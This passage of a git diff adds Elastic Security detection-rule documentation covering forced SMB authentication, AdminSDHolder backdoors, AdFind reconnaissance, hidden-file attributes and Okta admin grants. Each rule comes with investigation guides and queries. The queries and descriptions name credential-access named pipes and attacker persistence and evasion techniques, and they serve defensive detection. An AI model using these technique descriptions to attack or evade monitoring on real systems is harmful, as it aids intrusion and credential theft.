legitimate purposes may be flagged. Identify these services and adjust the rule to ignore their specific connection patterns or named pipes. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network to prevent further unauthorized SMB connection attempts and potential credential capture. +- Conduct a thorough review of the Linux host's network activity logs to identify any unauthorized access or data exfiltration attempts. +- Reset passwords for any accounts that may have been exposed or compromised during the forced authentication attempt to mitigate the risk of credential misuse. +- Implement network segmentation to limit SMB traffic between Linux and Windows hosts, reducing the attack surface for similar threats. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional hosts or systems are affected. +- Deploy enhanced monitoring on the identified named pipes and associated network traffic to detect and respond to future forced authentication attempts promptly. +- Review and update firewall rules to restrict unnecessary SMB traffic and ensure only authorized systems can communicate over port 445. + +==== Setup + + + +*Setup* + + +This rule uses Elastic Endpoint network events from Linux hosts and system integration events from Domain controllers +for correlation. Both data sources should be collected from the hosts for this detection to work. + +The 'Audit Detailed File Share' audit policy must be configured (Success Failure). +Steps to implement the logging policy with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=15s +[network where host.os.type == "linux" and event.action == "connection_attempted" and destination.port == 445 and not startswith~(string(destination.ip), string(host.ip))] by host.ip, data_stream.namespace +[file where host.os.type == "windows" and event.code == "5145" and file.name : ("Spoolss", "netdfs", "lsarpc", "lsass", "netlogon", "samr", "efsrpc", "FssagentRpc")] by source.ip, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-group-modification-by-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-group-modification-by-system.asciidoc new file mode 100644 index 0000000000..40f44b9174 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-group-modification-by-system.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-active-directory-group-modification-by-system]] +=== Active Directory Group Modification by SYSTEM + +Identifies a user being added to an active directory group by the SYSTEM (S-1-5-18) user. This behavior can indicate that the attacker has achieved SYSTEM privileges in a domain controller, which attackers can obtain by exploiting vulnerabilities or abusing default group privileges (e.g., Server Operators), and is attempting to pivot to a domain account. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Active Directory Group Modification by SYSTEM* + + +Active Directory (AD) is a critical component in Windows environments, managing user and group permissions. SYSTEM, a high-privilege account, can modify AD groups, which attackers exploit to gain unauthorized access. By monitoring specific event logs for SYSTEM-initiated group changes, the detection rule identifies potential privilege escalation, signaling an attacker may have compromised a domain controller. + + +*Possible investigation steps* + + +- Review the event log entry with event code 4728 to confirm the SYSTEM account (S-1-5-18) initiated the group modification. +- Identify the specific Active Directory group that was modified and determine if it is a sensitive or high-privilege group. +- Check for any recent changes or anomalies in the domain controller's security logs that might indicate SYSTEM privilege escalation. +- Investigate the timeline of events leading up to the group modification to identify any suspicious activities or patterns. +- Correlate this event with other security alerts or logs to assess if there is a broader attack pattern or campaign. +- Verify if there are any known vulnerabilities or misconfigurations in the domain controller that could have been exploited to gain SYSTEM privileges. + + +*False positive analysis* + + +- Routine administrative tasks performed by automated scripts or scheduled tasks may trigger this rule. Review and document these tasks, then create exceptions for known benign scripts to prevent unnecessary alerts. +- System maintenance activities, such as software updates or system reconfigurations, might involve legitimate group modifications by SYSTEM. Coordinate with IT teams to identify and whitelist these activities. +- Certain security tools or monitoring solutions may perform group modifications as part of their normal operation. Verify these tools' actions and exclude them from triggering alerts if they are confirmed to be safe. +- In environments with custom applications that require SYSTEM-level access for group management, ensure these applications are documented and their actions are excluded from detection to avoid false positives. +- Regularly review and update the list of exceptions to ensure they remain relevant and do not inadvertently allow malicious activities to go undetected. + + +*Response and remediation* + + +- Immediately isolate the affected domain controller from the network to prevent further unauthorized access or lateral movement by the attacker. +- Revoke any unauthorized group memberships added by the SYSTEM account to prevent privilege escalation and unauthorized access. +- Conduct a thorough review of recent changes in Active Directory, focusing on group modifications and user account activities, to identify any other potential unauthorized changes. +- Reset passwords for all accounts that were added to groups by the SYSTEM account to mitigate the risk of compromised credentials being used. +- Apply security patches and updates to the domain controller to address any vulnerabilities that may have been exploited to gain SYSTEM privileges. +- Monitor for any further suspicious activities or attempts to modify Active Directory groups, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the full scope of the breach. + +==== Setup + + + +*Setup* + + +Audit Security Group Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-group-management + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.code == "4728" and +winlog.event_data.SubjectUserSid : "S-1-5-18" and + +/* DOMAIN_USERS and local groups */ +not group.id : "S-1-5-21-*-513" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adding-hidden-file-attribute-via-attrib.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adding-hidden-file-attribute-via-attrib.asciidoc new file mode 100644 index 0000000000..1bf0806a98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adding-hidden-file-attribute-via-attrib.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-adding-hidden-file-attribute-via-attrib]] +=== Adding Hidden File Attribute via Attrib + +Adversaries can add the 'hidden' attribute to files to hide them from the user in an attempt to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Adding Hidden File Attribute via Attrib* + + +The `Hidden` attribute is a file or folder attribute that makes the file or folder invisible to regular directory listings when the attribute is set. + +Attackers can use this attribute to conceal tooling and malware to prevent administrators and users from finding it, even if they are looking specifically for it. + +This rule looks for the execution of the `attrib.exe` utility with a command line that indicates the modification of the `Hidden` attribute. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to identify the target file or folder. + - Examine the file, which process created it, header, etc. + - If suspicious, retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "attrib.exe" or ?process.pe.original_file_name == "ATTRIB.EXE") and process.args : "+h" and + not (process.parent.name: "cmd.exe" and process.command_line: "attrib +R +H +S +A *.cui") and + + not ( + process.parent.name: "draw.io.exe" and + ( + process.command_line : ("*drawio.bkp*", "*drawio.dtmp*") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Windows File and Directory Permissions Modification +** ID: T1222.001 +** Reference URL: https://attack.mitre.org/techniques/T1222/001/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adfind-command-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adfind-command-activity.asciidoc new file mode 100644 index 0000000000..31ccd8ddb3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adfind-command-activity.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-adfind-command-activity]] +=== AdFind Command Activity + +This rule detects the Active Directory query tool, AdFind.exe. AdFind has legitimate purposes, but it is frequently leveraged by threat actors to perform post-exploitation Active Directory reconnaissance. The AdFind tool has been observed in Trickbot, Ryuk, Maze, and FIN6 campaigns. For Winlogbeat, this rule requires Sysmon. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://www.joeware.net/freetools/tools/adfind/ +* https://thedfirreport.com/2020/05/08/adfind-recon/ +* https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html +* https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware +* https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html +* https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdFind Command Activity* + + +http://www.joeware.net/freetools/tools/adfind/[AdFind] is a freely available command-line tool used to retrieve information from Active Directory (AD). Network discovery and enumeration tools like `AdFind` are useful to adversaries in the same ways they are effective for network administrators. This tool provides quick ability to scope AD person/computer objects and understand subnets and domain information. There are many https://thedfirreport.com/category/adfind/[examples] of this tool being adopted by ransomware and criminal groups and used in compromises. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line to determine what information was retrieved by the tool. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives as it is a legitimate tool used by network administrators. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Malicious behavior with `AdFind` should be investigated as part of a step within an attack chain. It doesn't happen in isolation, so reviewing previous logs/activity from impacted machines can be very telling. + + +*Related rules* + + +- Windows Network Enumeration - 7b8bfc26-81d2-435e-965c-d722ee397ef1 +- Enumeration of Administrator Accounts - 871ea072-1b71-4def-b016-6278b505138d +- Enumeration Command Spawned via WMIPrvSE - 770e0c4d-b998-41e5-a62e-c7901fd7f470 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "AdFind*.exe" or ?process.pe.original_file_name == "AdFind.exe") and + process.args : ("objectcategory=computer", "(objectcategory=computer)", + "objectcategory=person", "(objectcategory=person)", + "objectcategory=subnet", "(objectcategory=subnet)", + "objectcategory=group", "(objectcategory=group)", + "objectcategory=organizationalunit", "(objectcategory=organizationalunit)", + "objectcategory=attributeschema", "(objectcategory=attributeschema)", + "domainlist", "dcmodes", "adinfo", "dclist", "computers_pwnotreqd", "trustdmp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-administrator-privileges-assigned-to-an-okta-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-administrator-privileges-assigned-to-an-okta-group.asciidoc new file mode 100644 index 0000000000..10225f733a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-administrator-privileges-assigned-to-an-okta-group.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-administrator-privileges-assigned-to-an-okta-group]] +=== Administrator Privileges Assigned to an Okta Group + +Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Administrator Privileges Assigned to an Okta Group* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Administrator privileges in Okta allow users to manage settings and permissions, making them a target for adversaries seeking persistent access. Malicious actors may exploit these privileges by assigning them to groups, thereby extending elevated access to compromised accounts. The detection rule monitors system events for privilege grants to groups, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:group.privilege.grant to identify the specific group and administrator role assigned. +- Identify the user account that initiated the privilege grant action and verify if the account has a history of suspicious activity or if it has been compromised. +- Check the membership of the affected Okta group to determine which user accounts have gained elevated privileges and assess if any of these accounts are unauthorized or compromised. +- Investigate recent activities of the affected group members to identify any unusual or unauthorized actions that may indicate malicious intent. +- Review the organization's change management records to confirm if the privilege assignment was part of an approved change request or if it was unauthorized. +- If unauthorized activity is confirmed, initiate incident response procedures to revoke the unauthorized privileges and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff assign administrator roles to groups for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Organizational changes such as mergers or department restructuring might require temporary privilege escalations. Document these changes and adjust the detection rule to exclude these specific events during the transition period. +- Automated scripts or third-party integrations that manage group permissions could inadvertently trigger false positives. Identify these scripts and whitelist their actions within the monitoring system to prevent unnecessary alerts. +- Training or onboarding sessions where temporary admin access is granted to groups for demonstration purposes can cause alerts. Ensure these sessions are logged and recognized as non-threatening to avoid false positives. + + +*Response and remediation* + + +- Immediately revoke the administrator privileges assigned to the Okta group to prevent further unauthorized access or privilege escalation. +- Conduct a thorough review of recent group membership changes and privilege assignments in Okta to identify any other unauthorized modifications. +- Isolate and investigate any user accounts that were part of the affected group to determine if they have been compromised. +- Reset passwords and enforce multi-factor authentication (MFA) for all accounts that were part of the affected group to secure them against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected group and related user accounts to detect any further suspicious activities. +- Review and update access control policies to ensure that only necessary groups and users have administrative privileges, reducing the risk of similar incidents in the future. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:group.privilege.grant + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-backdoor.asciidoc new file mode 100644 index 0000000000..92cc4a7926 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-adminsdholder-backdoor.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-adminsdholder-backdoor]] +=== AdminSDHolder Backdoor + +Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://adsecurity.org/?p=1906 +* https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdminSDHolder Backdoor* + + + +*Possible investigation steps* + + +- What AdminSDHolder change did the alert preserve? + - Focus: confirm `winlog.event_data.ObjectDN` under AdminSDHolder, then read `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.OperationType`, `winlog.event_data.AttributeValue`, and `winlog.event_data.AttributeSyntaxOID`. + - Implication: escalate on "nTSecurityDescriptor", ownership data, or any value that can alter control of protected objects; lower concern only for non-security metadata tied to a recognized tier-0 maintenance workflow. + +- What did the correlated 5136 operation contain? + - Why: one alert document may show only part of a logical directory change; `winlog.event_data.OpCorrelationID` reconstructs the rest of the operation. + - Focus: review same-controller `5136` events for the same `host.id`, `winlog.computer_name`, and `winlog.event_data.OpCorrelationID`; compare attribute, value, and operation type. !{investigate{"description":"","label":"All 5136 events in this AdminSDHolder change set","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: escalate when the operation adds multiple ACL changes, touches unrelated sensitive attributes, or suggests a staged AdminSDHolder template rewrite; lower concern only when bounded to one expected non-security update on the same object. + +- Does the recovered value grant or preserve access that SDProp can stamp onto protected identities? + - Why: AdminSDHolder is the ACL template for protected accounts and groups, so a small template edit can become persistent privileged access after SDProp runs. + - Focus: interpret attribute name, value, and syntax for a new trustee, ACE, owner reference, or delegated right rather than non-security metadata. + - Implication: escalate when the value adds a SID, DN, ACE, owner path, Full Control, Modify, WriteDacl, WriteOwner, or GenericAll outside the expected tier-0 admin set; truncated or opaque values keep permission impact unresolved and require preserving raw change data. + +- Who initiated the modification, and where did the session originate? + - Focus: identify the writer and controller with `user.id`, `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectLogonId`, and `winlog.computer_name`. + - Hint: on the same `winlog.computer_name`, match `5136` `winlog.event_data.SubjectLogonId` to `4624` `winlog.event_data.TargetLogonId`; search `4648` for the same `winlog.event_data.SubjectLogonId` when explicit credentials matter, then read `source.ip` and `winlog.event_data.AuthenticationPackageName`. Missing linked authentication records or `source.ip` leaves origin unresolved, not benign. + - !{investigate{"description":"","label":"Linked logon for the modifying session","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Explicit credential events for the modifying 